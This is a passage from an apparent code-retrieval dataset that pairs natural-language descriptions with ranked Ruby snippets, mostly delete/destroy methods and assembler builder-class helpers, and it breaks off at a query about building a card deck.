"docid": "81bcb43ea041467f93579f55f3f8c476", "score": "0.5811406", "text": "def delete_device(id)\n delete(\"/devices/#{id}\")\n end", "title": "" }, { "docid": "b5693456e56347a0e63e0d7dc848ba04", "score": "0.5809579", "text": "def delete_message(data); end", "title": "" }, { "docid": "b5693456e56347a0e63e0d7dc848ba04", "score": "0.5809579", "text": "def delete_message(data); end", "title": "" }, { "docid": "c655576a6b016a131cf2c3e76ad30861", "score": "0.5807116", "text": "def delete(id, post)\n File.unlink(post_path(post))\n\n update_digests do |digests|\n digests.delete(id)\n end\n end", "title": "" }, { "docid": "00c5eec9bfc1fbee543cca36e26ca700", "score": "0.58056444", "text": "def destroy\n @website = Website.find(params[:id])\n @website.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_websites_url }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ac6982f311329f8508bb37ebdd539dad", "score": "0.58045423", "text": "def delete\n self.class.delete(url)\n end", "title": "" }, { "docid": "3bbe532f009f1a184b0c02732cbe4aaf", "score": "0.5803603", "text": "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "title": "" }, { "docid": "29d3eef2284e8e2c957fd5c798015e7a", "score": "0.5799847", "text": "def destroy\n @notification.destroy\n head :no_content \n end", "title": "" }, { "docid": "1ced0e98ee988c876d133dfc2410355e", "score": "0.57909626", "text": "def delete_user(id)\n elektron_identity.delete(\"users/#{id}\")\n end", "title": "" }, { "docid": "8e3b6114441a7f21fd10a5ebebc98244", "score": "0.57882553", "text": "def deleteEntityWebsite( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/website\",params)\n end", "title": "" }, { "docid": "7d97841fbc88de1d7d1406dabc88979c", "score": "0.5787324", "text": "def DeleteTrigger id\n \n APICall(path: \"triggers/#{id}.json\",method: 'DELETE')\n \n end", "title": "" } ]
97f63f785ef295b50bf6b325edcbfd26
(private) Defines the builder class used during assembly. Builders maintain intermediate results during the assembly process. In a nutshell, a builder collects the bytes, labels and linker directives, and puts them together at the end of the assembly process. Builder classes are synthesized automatically if they don't already exist. To have a builder class inherit from another class, define it before calling target_isa. Builder classes are saved as the Builder constant in the assembler class. Builder classes are injected the code in Assembler::CodeBuilderBase. Look there for override hooks into the assembly process.
[ { "docid": "013ed24e3a9890599bfbdf89be15b57b", "score": "0.83815384", "text": "def define_builder_class\n if @target.const_defined? :Builder\n @builder_class = @taget.const_get :Builder\n else\n @builder_class = Class.new\n @target.const_set :Builder, @builder_class\n end\n @builder_class.send :include, Assembler::CodeBuilderBase\n end", "title": "" } ]
[ { "docid": "2d17bbcafdde6a081ffaa5d4c4912037", "score": "0.6383211", "text": "def builder; end", "title": "" }, { "docid": "2d17bbcafdde6a081ffaa5d4c4912037", "score": "0.6383211", "text": "def builder; end", "title": "" }, { "docid": "2d17bbcafdde6a081ffaa5d4c4912037", "score": "0.6383211", "text": "def builder; end", "title": "" }, { "docid": "688a1f1227889018420157a4ecedf811", "score": "0.6287381", "text": "def builder\n @builder ||= Builder.new(self)\n end", "title": "" }, { "docid": "15a5a6143c950372f03c043dce3bdd15", "score": "0.6138179", "text": "def define_builder(klass, options={}, &block)\n builder = Builder.new(klass, :as => options.delete(:as))\n add_builder(builder)\n\n if block_given?\n define_new(builder, &block)\n else\n define_new(builder) do |proxy, overrides|\n proxy.new(options.merge(overrides))\n end\n end\n\n define_create(builder)\n define_valid_attributes(builder)\n end", "title": "" }, { "docid": "714c9791a7901f25edada372b3a40488", "score": "0.59789735", "text": "def build_class(*args, &block)\n if @class_builder\n @class_builder.call(*args, &block)\n else\n self\n end\n end", "title": "" }, { "docid": "9921498b2fedc095444ccbfe24919b1a", "score": "0.5932962", "text": "def build\n klass = create_class(@class_name, @options)\n klass.new\n end", "title": "" }, { "docid": "2b5fc7017a2c2db639eb7caf88428220", "score": "0.5931342", "text": "def make_builder_ruby(target_dir, output_prefix)\n rb_file = File.join(target_dir, \"#{output_prefix}.rb\")\n\n Cauterize::RubyBuilder.new(rb_file, output_prefix)\n end", "title": "" }, { "docid": "2563b9d3bc2fc08e15796b7d4791be6d", "score": "0.5854588", "text": "def build opts = nil, &blk\n builder.build opts, &blk\n end", "title": "" }, { "docid": "d81d4530b32f58d6cea56cc087148798", "score": "0.5783288", "text": "def target_isa(isa_module) \n @isa = isa_module\n target.const_set :Isa, @isa\n @abi = @isa.const_get :Abi\n target.const_set :Abi, @abi\n \n define_proxy_class\n define_builder_class\n augment_target\n end", "title": "" }, { "docid": "7820e942ac9a01f10c15b7de90529af8", "score": "0.5751757", "text": "def set_builder (b)\n\t@builder = b\n\tself\nend", "title": "" }, { "docid": "608c83a020accef42fb583635600637f", "score": "0.5672907", "text": "def builder\n @builder ||= self[ :definition_context_factory ].new( self )\n end", "title": "" }, { "docid": "9a2f28376eac9b9c1bd74851fe6da66b", "score": "0.5668394", "text": "def get_builder_class\n Cybele::AppBuilder\n end", "title": "" }, { "docid": "573c89394c61825ab5353d7110f7499c", "score": "0.56331617", "text": "def build_class\n return klass if klass\n\n included_attrs = attributes.reject do |_name, opts|\n opts && opts[:exclude]\n end\n builder&.call(included_attrs.map(&:first))\n end", "title": "" }, { "docid": "b2b2f896aab10b94d4d6e10bd7b918cc", "score": "0.55995643", "text": "def incorporate\r\n Builder.new(self)\r\n end", "title": "" }, { "docid": "78acea8e40fd44a113571956716f230b", "score": "0.5598442", "text": "def augment_target\n # Capture this data in the closure.\n proxy_class = @proxy_class\n builder_class = @builder_class\n defines = Proc.new do\n # Assembles code.\n def assemble(&block)\n _assemble block\n end\n \n # Internal method for assembling code.\n #\n # We need to use a block to define this method, so we can capture the\n # outer variables (proxy_class and builder_class) in its closure. However,\n # blocks can't take blocks as parameters (at least not in MRI 1.8). So\n # we use a regular method definition (assemble) which wraps the block\n # into a Proc received by _assemble.\n define_method :_assemble do |block|\n code_builder = builder_class.new\n code_builder.start_assembling\n proxy = proxy_class.new(code_builder)\n block.call proxy\n code_builder.done_assembling proxy\n end\n private :_assemble\n end\n @target.class_eval(&defines)\n (class << @target; self; end).module_eval(&defines) \n end", "title": "" }, { "docid": "fa9ed749191c751ac89aad7f1dbdd2f5", "score": "0.5522153", "text": "def builder &block\n if block_given?\n @builder = Proc.new do\n say_name\n block.call\n shell.padding += 1\n save_instructions if instructions.present?\n shell.padding -= 1\n end\n else\n @builder\n end\n end", "title": "" }, { "docid": "984d2bb9bc8eabe644918a0f26cbea1e", "score": "0.55081856", "text": "def definition_builder; end", "title": "" }, { "docid": "984d2bb9bc8eabe644918a0f26cbea1e", "score": "0.55081856", "text": "def definition_builder; end", "title": "" }, { "docid": "edbfeb568ce031f8f31403990f1b8495", "score": "0.54971886", "text": "def build\n builder_values = builder.build\n self.use_values(builder_values)\n end", "title": "" }, { "docid": "56a08b0945e963244ee6d83aed4f8623", "score": "0.54880744", "text": "def build builder\n builder.send tag, @attributes do |builder|\n objects.each do |object|\n object.build builder\n end\n end\n end", "title": "" }, { "docid": "60e96533b867de9888c088a48cf6fc90", "score": "0.5486714", "text": "def builders\n @builders ||= {}\n end", "title": "" }, { "docid": "cc7d3c0740ac8a65521f76153d81f417", "score": "0.5477008", "text": "def __builders\n @builders ||= []\n end", "title": "" }, { "docid": "67f425fa272f6b7546cb98a7464ecfa1", "score": "0.5461867", "text": "def builder\n @builder ||= Builder::XmlMarkup.new(:indent => 2)\n end", "title": "" }, { "docid": "4f97224d94a0def062c862095ae72259", "score": "0.5447138", "text": "def construct_builder!\n @builder = Brainstem::ApiDocs::Builder.new(builder_options)\n end", "title": "" }, { "docid": "0bdd6a1f8d519ec613b0d8d77ffa7c6a", "score": "0.5447099", "text": "def builder=(builder)\n @builder = builder\n end", "title": "" }, { "docid": "72862b9342c099c598d2055f0d49b874", "score": "0.5393235", "text": "def builder_method\n config[:child_builder]\n end", "title": "" }, { "docid": "466d7ebf1bbafd3ac0adc07a3be96fa1", "score": "0.5354082", "text": "def make_builder_c(target_dir, output_prefix)\n h_file = File.join(target_dir, \"#{output_prefix}.h\")\n c_file = File.join(target_dir, \"#{output_prefix}.c\")\n\n Cauterize::CBuilder.new(h_file, c_file, output_prefix)\n end", "title": "" }, { "docid": "b3397adba4530844743e5489a481c97c", "score": "0.5339349", "text": "def build_uut_base(data)\n # Initalize RubyClassCodeBuilder\n\n uut = RubyClassCodeBuilder.new(data[:name],data[:variables])\n\n # Create MethodCodeBuilder for 'ctor'\n ctor_method_builder = data[:class_methods][\"initialize\"][:builder]\n # 'add_method(ctor)' \n uut.add_method(ctor_method_builder)\n\n # Create MethodCodeBuilder for 'run'\n run_method_builder = data[:class_methods][\"run\"][:builder]\n # 'add_method(run)' \n\n uut.add_method(run_method_builder) \n\n # Create MethodCodeBuilder for 'build_uut'\n uut_method_builder = data[:class_methods][\"build_uut\"][:builder]\n # 'add_method(run)' \n uut.add_method(uut_method_builder)\n\n return uut\n end", "title": "" }, { "docid": "4815be8c0ef04055b910f0918729b69b", "score": "0.5307232", "text": "def builder opts = { }\n opts[:_mapping_set] = self\n Mapping::Builder.new(opts)\n end", "title": "" }, { "docid": "8649160a99b121da05b064313fdb1fa5", "score": "0.52955514", "text": "def builder\n ::JSON::SchemaDsl::Builder.define_builder(self)\n end", "title": "" }, { "docid": "23ab9d31120d7446534f687d326f6b43", "score": "0.52635986", "text": "def build(*arguments, &block)\n build_class(*arguments, &block).new(*arguments, &block)\n end", "title": "" }, { "docid": "e0a6aa2efcd80adeede4bca0368dd799", "score": "0.52608186", "text": "def build_with(builder)\n case from = method_source\n when Parfait::CallableMethod\n callable = builder.load_object(from)\n when Parfait::CacheEntry\n callable = builder.load_object(from)[:cached_method].to_reg\n when Integer\n callable = builder.message[ \"arg#{from}\".to_sym ].to_reg\n else\n raise \"unknown source #{method_source.class}:#{method_source}\"\n end\n build_message_data(builder , callable)\n return builder.built\n end", "title": "" }, { "docid": "391fe8b728d06d9c6f494643758f57b1", "score": "0.5260227", "text": "def build\r\n raise \"Not implemented\"\r\n end", "title": "" }, { "docid": "792923f05acd86ac67fa47395c6bbde0", "score": "0.5222179", "text": "def build_operation_class(*args)\n class_builder(self).(*args) # Uber::Builder::class_builder(context)\n end", "title": "" }, { "docid": "995d352c1f29ea221b27bb5f017d309c", "score": "0.52212816", "text": "def initialize b\n @build = b\n end", "title": "" }, { "docid": "3ffddf06e6b7645ca4150da813d07107", "score": "0.5201045", "text": "def build(attrs = {})\n choose_right_class(attrs).new(attrs)\n end", "title": "" }, { "docid": "0083e225385b8945bec76c56693e81aa", "score": "0.5194027", "text": "def build(attrs = {})\n target_class.build(@client, attrs)\n end", "title": "" }, { "docid": "f88c62ac29e61120a10a5e28e1cacdc8", "score": "0.51860154", "text": "def fault_builder\n Fault.const_get(\"Builder#{version}\").new\n end", "title": "" }, { "docid": "caef5eeb2cc81a6939bc20a79996e1b4", "score": "0.51799405", "text": "def make_builder_cs(target_dir, output_prefix)\n cs_file = File.join(target_dir, \"#{output_prefix}.cs\")\n\n Cauterize::CSBuilder.new(cs_file, output_prefix)\n end", "title": "" }, { "docid": "af4c2caa39655716b82e9f1788685ceb", "score": "0.51764166", "text": "def sequence_builder\n IIIFManifest::ManifestServiceLocator::InjectedFactory.new(\n ::ManifestBuilder::SequenceBuilder, # This whole method is overridden just for this constant.\n canvas_builder_factory: canvas_builder_factory,\n sequence_factory: sequence_factory,\n start_canvas_builder: start_canvas_builder\n )\n end", "title": "" }, { "docid": "1f04ce84f46f2ef31fd3d010ac978f4d", "score": "0.517291", "text": "def xml_builder(opts=OPTS)\n if opts[:builder]\n opts[:builder]\n else\n builder_opts = if opts[:builder_opts]\n Hash[opts[:builder_opts]]\n else\n {}\n end\n builder_opts[:encoding] = opts[:encoding] if opts.has_key?(:encoding)\n Nokogiri::XML::Builder.new(builder_opts)\n end\n end", "title": "" }, { "docid": "2c71eb1022630cac427a27cd8d783412", "score": "0.5172662", "text": "def initialize(builder, working_dir)\n @builder = builder\n @working_dir = working_dir\n end", "title": "" }, { "docid": "824e959a9f6957a217e9a5280f1889ef", "score": "0.5138279", "text": "def builder_options\n @builder_options ||= options[:builder]\n end", "title": "" }, { "docid": "da8a40a072306ad91b43ef32852d35ea", "score": "0.5128054", "text": "def build\n end", "title": "" }, { "docid": "c3854338e102928388c71c33ccb5d8a5", "score": "0.51189375", "text": "def build(options = {})\n fail \"The #{self.class} driver does not support the build method!\"\n end", "title": "" }, { "docid": "a78d14f76192d2c9ec236032af84c183", "score": "0.51092756", "text": "def build_klass(*args, **kwargs)\n klass = self\n\n loop do\n new_klass = klass.builders.call(klass, *args, **kwargs)\n break if new_klass == klass\n klass = new_klass\n end\n\n klass\n end", "title": "" }, { "docid": "901da4719d3e7cca7b50d0b1f794c854", "score": "0.50945497", "text": "def masthead_builder\n @_masthead_builder ||= Kin::Masthead::Builder.new\n end", "title": "" }, { "docid": "b1cf8823f8e2fa285f501f8ecf7eda38", "score": "0.50903374", "text": "def build\n deferred_defaults\n validate\n Builder.new(self).build\n end", "title": "" }, { "docid": "f38af5e057d395a345164fca98a59cf8", "score": "0.5083076", "text": "def with(target = DEFAULT_TARGET)\n klass = Class.new(self.class)\n klass.configure { |c| c.target = target }\n\n yield(klass.new)\n end", "title": "" }, { "docid": "7a579e36968fc3f08e0a5c46ca56a769", "score": "0.50760925", "text": "def method_missing(method, *args, &block)\n return super unless builder\n\n builder.send(method, *args, &block)\n end", "title": "" }, { "docid": "7a579e36968fc3f08e0a5c46ca56a769", "score": "0.50760925", "text": "def method_missing(method, *args, &block)\n return super unless builder\n\n builder.send(method, *args, &block)\n end", "title": "" }, { "docid": "a2acb0c73fe373b4daa34f217cbfbda6", "score": "0.5058295", "text": "def define_proxy_class\n @proxy_class = Class.new Assembler::ProxyBase\n target.const_set :Proxy, @proxy_class\n \n @proxy_class.const_set :Abi, @abi\n @proxy_class.const_set :Isa, @isa\n \n # Capture the ISA and ABI in the closure.\n isa = @isa\n proxy_defines = Proc.new do\n isa.instance_methods.each do |method|\n if method[0, 5] == 'emit_'\n isa_method_msg = method.to_sym\n proxy_method_name = method[5, method.length].to_sym\n define_method proxy_method_name do |*args|\n emit_data = isa.send isa_method_msg, *args\n @assembler.emit_bytes proxy_method_name, emit_data\n end\n end\n end\n end\n @proxy_class.class_eval(&proxy_defines)\n (class << @proxy_class; self; end).module_eval(&proxy_defines) \n end", "title": "" }, { "docid": "75edcd68168abd4410f2d4b1d103a0ca", "score": "0.5051452", "text": "def transpile\n ast = @ast # method-local binding required for Class.new blocks\n\n @klass ||= Class.new(Framework::Definition::Base) do\n framework_name ast[:name]\n framework_short_name ast[:framework_short_name]\n end.tap do |klass|\n klass.const_set('Invoices', entry_data_class(:invoice)) if ast.field_defs(:invoice)\n klass.const_set('Contracts', entry_data_class(:contract)) if ast.field_defs(:contract)\n end\n end", "title": "" }, { "docid": "500a9e360ccb135ba289f39267d77795", "score": "0.5050172", "text": "def font_builder(name)\n key = font_key(name)\n klass = @builders[key]\n check_is_a!(klass, Class)\n klass\n end", "title": "" }, { "docid": "d5889bc0654ea242934454589917bbff", "score": "0.5047946", "text": "def xml_builder\n @xml_builder ||= begin\n @options[:indent] ||= 2\n builder = @options[:builder] ||= ::Builder::XmlMarkup.new(:indent => 2)\n unless @options[:skip_instruct]\n builder.instruct!\n @options[:skip_instruct] = true\n end\n builder\n end\n end", "title": "" }, { "docid": "2c0cc402f0dfcab9ca811823acbe4014", "score": "0.50468343", "text": "def load_builder(name)\n if(builders[name.to_sym])\n require File.join(builders[name.to_sym], name)\n else\n raise NameError.new(\"Requested end point builder not found (#{name})\")\n end\n self\n end", "title": "" }, { "docid": "63258a0d67fbfec351670b7130e55c50", "score": "0.5042314", "text": "def define_build_method(name, builder)\n define_helper \"build_#{name}\", ->(attrs={}) { builder.build(attrs) }\n end", "title": "" }, { "docid": "b5c1166d368f6c4ded5b833ce362bdee", "score": "0.50273657", "text": "def build(&block)\n # provide access to 'this' in configuration block\n self.instance_exec(&block)\n end", "title": "" }, { "docid": "c14db6fe7df8e8f90ac3e21bfe1f2c20", "score": "0.50167793", "text": "def label_directive(name, options = {})\n unless @proxy_class\n raise \"target_isa must be called before other builder methods\"\n end\n proxy_defines = Proc.new do\n define_method name.to_sym do |label_name|\n @assembler.emit_label label_name.to_sym\n end\n end \n @proxy_class.class_eval(&proxy_defines)\n (class << @proxy_class; self; end).module_eval(&proxy_defines) \n end", "title": "" }, { "docid": "67a1c2712c52cdc046fca30a02df8da3", "score": "0.50128543", "text": "def build_markup\n Object.const_get(output_class).new\n end", "title": "" }, { "docid": "0358e3eab15ec9c516e2b000933eaca5", "score": "0.5007768", "text": "def make_meta_builder token, *args\n klass = self.class.meta_builders[token]\n raise NotImplementedError, \"Meta Builder Not Set: #{token}\" if klass.nil?\n obj = if klass.respond_to?(:new)\n klass.new( *args )\n elsif klass.respond_to?(:create)\n klass.create( *args )\n else\n raise NotImplementedError, \"Unknown Builder For Class: #{klass}\"\n end\n self.send( (token.to_s + '=').to_sym, obj )\n end", "title": "" }, { "docid": "99e43e2b77d920827049e089816685cb", "score": "0.50037163", "text": "def to_risc(compiler)\n build_with(compiler.builder(self))\n end", "title": "" }, { "docid": "1f6fb217bbbf9521dce208fefeba539d", "score": "0.49921295", "text": "def initialize_from_builder(&block)\n builder = Class.new(Builder)\n builder.setup\n \n builder.instance_eval &block\n \n unless @model.descends_from_active_record?\n stored_class = @model.store_full_sti_class ? @model.name : @model.name.demodulize\n builder.where(\"#{@model.quoted_table_name}.#{quote_column(@model.inheritance_column)} = '#{stored_class}'\")\n end\n\n @fields = builder.fields\n @attributes = builder.attributes\n @conditions = builder.conditions\n @groupings = builder.groupings\n @delta_object = ThinkingSphinx::Deltas.parse self, builder.properties\n @options = builder.properties\n \n # We want to make sure that if the database doesn't exist, then Thinking\n # Sphinx doesn't mind when running non-TS tasks (like db:create, db:drop\n # and db:migrate). It's a bit hacky, but I can't think of a better way.\n rescue StandardError => err\n case err.class.name\n when \"Mysql::Error\", \"ActiveRecord::StatementInvalid\"\n return\n else\n raise err\n end\n end", "title": "" }, { "docid": "5e2ae59be8d95e21a1394121b0db1b8c", "score": "0.49859565", "text": "def build_this bt;\r\n nmake = NMake.new\r\n cmd = '\"' + nmake.path + '\" -f makefile.vc'\r\n Platform.execute cmd, wd: (builddir bt)\r\n end", "title": "" }, { "docid": "652ba80a37849b2551b0d1da1d6398d3", "score": "0.49810272", "text": "def method_builder; end", "title": "" }, { "docid": "b23b6b4b3cf971a8c8b750f1086e9994", "score": "0.49737826", "text": "def build(&block)\n instance_eval(&block)\n end", "title": "" }, { "docid": "bdad0ade3fbfad97d202bdb9f1eff156", "score": "0.4969435", "text": "def build_ti(config = TiTools::config())\n mtarget = config[\"mobile_target\"]\n\n builders = {\n \"desktop\" => lambda { TiTools::build_ti_desktop(config, self) },\n \"iphone\" => lambda { TiTools::build_ti_ios(config, self) },\n \"ipad\" => lambda { TiTools::build_ti_ios(config, self) },\n \"android\" => lambda { TiTools::build_ti_android(config, self) }\n }\n \n builders[mtarget].call\n end", "title": "" }, { "docid": "47fb74695e07cb53b882fc77147b2e7a", "score": "0.49687034", "text": "def data_directive(name, options = {})\n unless @proxy_class\n raise \"target_isa must be called before other builder methods\"\n end\n # Capture this in the closure.\n abi = @abi\n proxy_defines = Proc.new do\n define_method name.to_sym do |abi_type, values|\n values = [values] unless values.instance_of? Array\n data = []\n values.each { |value| data += abi.send :\"to_#{abi_type}\", value }\n @assembler.emit_bytes :immed, :emit => data\n end\n end \n @proxy_class.class_eval(&proxy_defines)\n (class << @proxy_class; self; end).module_eval(&proxy_defines) \n end", "title": "" }, { "docid": "a7ad795bc8b29b482265988f11f9ba1a", "score": "0.4956285", "text": "def build(schema: nil, context: nil, resource: nil, id: nil, from: Base)\n Builder.new.call(schema: schema, context: context, resource: resource, id: id, superclass: from)\n end", "title": "" }, { "docid": "5950cd111e7d4f4ecd6df39948a66c33", "score": "0.49474463", "text": "def xml_builder\n return Builder::XmlMarkup.new(:indent=>2, :margin=>4)\n end", "title": "" }, { "docid": "368ebaa9de0e923bc9590a5f9a5b1a53", "score": "0.49383008", "text": "def build(type)\n if type == :touch\n IconGenerator::TouchBuilder.new.build(@source, @destination)\n elsif type == :favicon\n IconGenerator::FaviconBuilder.new.build(@source, @destination)\n end\n end", "title": "" }, { "docid": "43ddd964e74b6a11c5d63ca08e6862ac", "score": "0.49244457", "text": "def seed_builder(os,instruction)\n check_input(os)\n erb_vars = get_vars(instruction)\n distro, version, arch, type, family = OSName.new(os).resolve\n return get_os_seed(os,instruction,erb_vars)\n end", "title": "" }, { "docid": "6929e38bf806b2e5910a5fd3d821ff02", "score": "0.4921657", "text": "def genFileContent(cls, bld)\n bld.separate\n\n for inc in cls.includes\n bld.add(\"require '\" << inc.path << inc.name << \".\" << Utils.instance.getExtension(\"body\"))\n end\n\n bld.separate\n\n render_namespace_starts(cls, bld)\n\n inheritFrom = \"\"\n\n if cls.baseClasses.length > 0\n inheritFrom = \" < \" + Utils.instance.getClassTypeName(cls.baseClasses[0])\n end\n\n if cls.baseClasses.length > 1\n Log.error(\"Ruby doesn't support multiple inheritance\")\n end\n\n bld.startClass(\"class \" + getClassName(cls) + inheritFrom)\n\n accessors = Accessors.new\n # Do automatic static array size declairations at top of class\n process_var_accessors(accessors, cls, bld, cls.model.varGroup)\n\n add_accessors(\"attr_accessor\", accessors.both, bld)\n add_accessors(\"attr_attr_reader\", accessors.readers, bld)\n add_accessors(\"attr_attr_writer\", accessors.writers, bld)\n\n bld.separate\n\n # Do automatic static array size declairations at top of class\n process_var_group(cls, bld, cls.model.varGroup)\n\n bld.separate\n # Generate code for functions\n for fun in cls.functions\n process_function(cls, bld, fun)\n end\n\n bld.endClass\n render_namespace_ends(cls, bld)\n end", "title": "" }, { "docid": "8066e4ead04889f6dbbbe2b71ac78c09", "score": "0.4920855", "text": "def build(options, &_block)\n # puts \"response_builder::build, class= #{self.class} self=\"; pp self;\n base_object = nil\n @status_code = nil\n\n permitted_params = if source_definition.endpoint_info[:check_params]\n controller_params.respond_to?(:permit) ? controller_params.permit(*params_to_permit) : controller_params\n else\n controller_params\n end\n\n if @query_block\n # We have a query block defined, call it to get the model object\n base_object = @query_block.call(permitted_params)\n\n # puts \"ResponseBuilder::build - query_block got \"; pp base_object\n elsif options.key?(:type)\n # construct a model of type with the parameters\n # which we should have by virtue of being mixed into the controller\n as_method = options[:as]&.to_sym || :where\n base_object = if options.key?(:options)\n options[:type].send(as_method, permitted_params, **options[:options])\n else\n options[:type].send(as_method, permitted_params)\n end\n else\n # We have no query, so all methods use e.g constant values\n # so we define it as an empty hash\n base_object = {}\n end\n\n # If return_error called, return a struct\n return OpenStruct.new(status_code: @status_code, status_error_info: @status_error_info) if @status_code\n\n @response_tree = new_h\n\n # The put stack defines where in the response tree we put to\n @put_stack = [@response_tree]\n\n # The hash stack keeps track of hash keys defined for each hashed object, so we can\n # pop back to outputting into the correct hash\n @hash_stack = []\n\n # the source stack tracks chnages to the source in objects/object\n @source_stack = []\n\n @references = new_h\n @current_source = base_object\n\n if base_object\n yield @current_source\n else\n yield\n end\n\n @current_source = nil\n\n @references.each do |k, r|\n @response_tree[k] = r.to_a\n end\n\n put_links\n\n @response_tree\n end", "title": "" }, { "docid": "ef2b4d9ebea608a605ab09b91d547a3d", "score": "0.49181336", "text": "def initialize(*args, &block)\n @id = self.class.get_id\n if args.first.is_a?(String)\n base_name = args.slice!(0)\n else\n base_name = \"e.#{@id}\"\n end\n variant_keys = (Rscons.application.active_variants || []).map do |variant|\n variant[:key]\n end.compact\n @name = [base_name, *variant_keys].join(\"-\")\n options = args.first || {}\n unless Cache.instance[\"configuration_data\"][\"configured\"]\n raise \"Project must be configured before creating an Environment\"\n end\n super(options)\n # Hash of Thread object => {Command} or {Builder}.\n @threads = {}\n @registered_build_dependencies = {}\n # Set of side-effect files that have not yet been built.\n @side_effects = Set.new\n @builder_sets = []\n @build_targets = {}\n @user_deps = {}\n # Hash of builder name (String) => builder class (Class).\n @builders = {}\n @build_hooks = {pre: [], post: []}\n unless options[:exclude_builders]\n DEFAULT_BUILDERS.each do |builder_class_name|\n builder_class = Builders.const_get(builder_class_name)\n builder_class or raise \"Could not find builder class #{builder_class_name}\"\n add_builder(builder_class)\n end\n end\n @echo =\n if options[:echo]\n options[:echo]\n elsif Rscons.application.verbose\n :command\n else\n :short\n end\n @build_root = \"#{Rscons.application.build_dir}/#{@name}\"\n @n_threads = Rscons.application.n_threads\n @build_steps = 0\n self.class.register(self)\n if block\n Environment.running_environment = self\n block[self]\n Environment.running_environment = nil\n end\n end", "title": "" }, { "docid": "520c9b4cd139fc142a14c53213c76556", "score": "0.48942953", "text": "def build(name, *traits_and_overrides, &block); end", "title": "" }, { "docid": "d5b7a418feba56f18b6d137d2bb201c9", "score": "0.48862737", "text": "def build(&block)\n Util.instance_eval_or_call(dsl, &block)\n self\n end", "title": "" }, { "docid": "d5b7a418feba56f18b6d137d2bb201c9", "score": "0.48862737", "text": "def build(&block)\n Util.instance_eval_or_call(dsl, &block)\n self\n end", "title": "" }, { "docid": "c8ff7cc3568f8e906369972a8a704ca3", "score": "0.4882989", "text": "def build(klass)\n deep_copy.tap do |conf|\n conf.klass = klass\n end\n end", "title": "" }, { "docid": "bb02c094569f996490b35c2d58cf19be", "score": "0.48715544", "text": "def build(**)\n raise NotImplementedError\n end", "title": "" }, { "docid": "775e8b63e167bf5c0dfae10393549348", "score": "0.4863642", "text": "def builder\n TransactionState.get.transaction_sample_builder\n end", "title": "" }, { "docid": "ecbdf1acdcc600bb48fbbf7e6e2df150", "score": "0.4860148", "text": "def build\n raise ConfigurationError.new(\"Must specify working directory\") unless @working_dir\n raise ConfigurationError.new(\"Must specify which sources to wrap\") unless @parser\n\n Logger.info \"Beginning code generation\"\n\n @builder = Builders::ExtensionNode.new(@name, @node || @parser, @modules)\n @builder.add_includes @options[:includes]\n @builder.build\n @builder.sort\n\n Logger.info \"Code generation complete\"\n end", "title": "" }, { "docid": "d79f297ba3bdcf1af117c5690350a637", "score": "0.48494425", "text": "def build; end", "title": "" }, { "docid": "147b3aa6f818fb9082a40c9fe3b9594c", "score": "0.48273578", "text": "def build(base=nil, &block)\n struct = base || SparkleStruct.new\n struct.instance_exec(&block)\n @_struct = struct\n end", "title": "" }, { "docid": "6f004f0a7c0c94ba436700d989b71db1", "score": "0.4826256", "text": "def build\n end", "title": "" }, { "docid": "8d153e22b4aca2e24c5530e060aaafe4", "score": "0.48174033", "text": "def branch(**new_options)\n if self.is_a?(Builder)\n options = self.options\n else\n options = DEFAULT_OPTIONS.merge(processor: self::Processor)\n end\n\n options = options.merge(new_options) do |key, old_value, new_value|\n case key\n when :loader, :saver then old_value.merge(new_value)\n when :operations then old_value + new_value\n else new_value\n end\n end\n\n Builder.new(options.freeze)\n end", "title": "" }, { "docid": "b503a6f1962fd5680f2a4cbed261e8a6", "score": "0.48159462", "text": "def initialize(target)\n @target = target\n @isa, @abi, @proxy = nil, nil, nil \n end", "title": "" }, { "docid": "770551544aa14d410d1a733ca7f9d386", "score": "0.48135298", "text": "def build!\n end", "title": "" }, { "docid": "b563bf73bf07ddd1a6490fc4aa1bddc7", "score": "0.4812259", "text": "def build\r\n end", "title": "" }, { "docid": "b563bf73bf07ddd1a6490fc4aa1bddc7", "score": "0.4812259", "text": "def build\r\n end", "title": "" }, { "docid": "4f20b86fea9f6b1ef05c64fdfda57647", "score": "0.4801096", "text": "def to_xml\n builder.target!\n end", "title": "" }, { "docid": "47eceadbc33dc01769f38014f43a5c10", "score": "0.4800393", "text": "def build\n yield self\n self\n end", "title": "" }, { "docid": "28702b9c07a9dabda07ed580215e194c", "score": "0.47950643", "text": "def to_make\n Target.new(@output, @objects, [command, \"ranlib #{output}\"])\n end", "title": "" }, { "docid": "d68dcfdee02fb5492e1be8e8d77f75ab", "score": "0.47825977", "text": "def dsl\n Nanoc::CompilerDSL.new(self, @compiler.site.config)\n end", "title": "" }, { "docid": "f5f7d7eea95bfea16b9e1ff9ec9b5c92", "score": "0.47760662", "text": "def get_definition(cls, bld, fun)\r\n bld.add(\"//\")\r\n bld.add(\"// Configuration \")\r\n bld.add(\"//\")\r\n\r\n entityClassName = XCTECSharp::Utils.instance.getStyledClassName(cls.getUName())\r\n configFunName = \"Configure(EntityTypeBuilder<\" + entityClassName + \"> builder)\"\r\n\r\n bld.startFunction(\"public void \" + configFunName)\r\n\r\n get_body(cls, bld, fun)\r\n\r\n bld.endFunction\r\n end", "title": "" }, { "docid": "08496d5f949a2bf5b608c74857b3f206", "score": "0.47759977", "text": "def method_missing(name, *args, &block)\n super unless respond_to? name\n @builder = Builder.new(builder.tree) do\n __send__(name, *args, &block)\n end\n end", "title": "" }, { "docid": "bb1064ade19c881e2099a47ccdea00f0", "score": "0.47743502", "text": "def add_font_builder(name, klass)\n check_is_a!(klass, Class)\n key = font_key(name)\n @builders[key] = klass\n end", "title": "" }, { "docid": "508a40e2954466b21eb18a114addcd7b", "score": "0.4753654", "text": "def add_builder oid\n self.builders << oid if Character && !builder?(oid)\n end", "title": "" }, { "docid": "79f7913939721e3f69fbffe634c27212", "score": "0.4749086", "text": "def builder_defined?(builder)\n case builder\n when Class then builders.values.map(&:klass).include?(builders)\n when String then builders.values.map(&:name).include?(builder)\n when Symbol then builders.values.map(&:name).include?(builder.to_s)\n end\n end", "title": "" } ]
747f89190b52ebd3954a8a53d2b47ca5
=begin This function is used to create the cards and the playing deck. Each for loop is for a characteristic of the card(shape, color,etc). It then adds the card to the deck (array).
